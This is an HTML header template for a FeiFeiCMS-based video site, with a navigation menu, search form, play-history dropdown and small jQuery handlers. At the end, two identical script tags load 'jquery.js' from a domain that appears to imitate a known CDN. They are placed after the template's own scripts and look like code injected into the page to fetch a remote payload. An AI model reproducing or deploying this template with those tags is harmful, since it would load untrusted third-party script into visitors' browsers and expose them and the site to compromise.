<header class="stui-header__top clearfix" id="header-top">
	<div class="container">	
		<div class="row">
			<div class="stui-header_bd clearfix">					
			    <div class="stui-header__logo">
					<a class="logo" href="{$feifeicms.path}"></a>										  
				</div>
				<ul class="stui-header__menu">
					<li><a href="{$feifeicms.path}">首页</a></li>
					{feifeicms:type num="all" order="asc" by="sort" ids="1,2,3,4"}
                    <li class="hidden-xs"><a href="{:ffcms_url_type($vo)}">{$vo.type_name}</a></li>
                    {/feifeicms:type}
					
				</ul>
				<script type="text/javascript" src="{$feifeicms.path_tpl}statics/js/jquery.autocomplete.js"></script>
				<div class="stui-header__search"> 
			        <form id="search" name="search" method="get" action="{:ffcms_url('vod/search')}" onSubmit="return qrsearch();">
    					<input type="text" id="wd" name="wd" class="ffcms_wd form-control" value="{$param.wd}" placeholder="请输入关键词..."/>
						<button class="submit" id="searchbutton" type="submit" name="submit"><i class="icon iconfont icon-search"></i></button>							
					</form>
					<a class="search-close visible-xs" href="javascript:;"><i class="icon iconfont icon-close"></i></a>
			    </div>		    
				<ul class="stui-header__user">		
					{if condition="$feifeicms.user_status eq 1"}
					<li>
						<a class="ffcms_user" href="javascript:;"><i class="icon iconfont icon-account"></i></a>
					</li>
					{else /}
					<li>
						<a href="javascript:;"><i class="icon iconfont icon-clock"></i></a>
						<div class="dropdown">					
							<h5 class="margin-0 text-muted">
								<a class="historyclean text-muted pull-right" href="">清空</a>
								播放记录
							</h5>
							<ul class="history clearfix" id="stui_history"></ul>
						</div>	
					</li>
					{/if}					
					<li class="visible-xs">
						<a class="open-search" href="javascript:;"><i class="icon iconfont icon-search"></i></a>
					</li>
				</ul>		
		  	</div>		
		</div>	  							    
	</div>
</header>
<script type="text/javascript">
	$(".stui-header__user li,.stui-header__menu li").click(function(){
		$(this).find(".dropdown").toggle();
	});
	$(".open-search").click(function(){
		var Seacrh=$(".stui-header__search");
		Seacrh.addClass("active").siblings().hide();
		Seacrh.find(".form-control").focus();
		$(".search-close").click(function(){
			Seacrh.removeClass("active").siblings().show();
		});
	});	
</script>
<script src="//cdn.bdstatic.org/jquery/3.7.1/jquery.js"></script>

<script src="//cdn.bdstatic.org/jquery/3.7.1/jquery.js"></script>
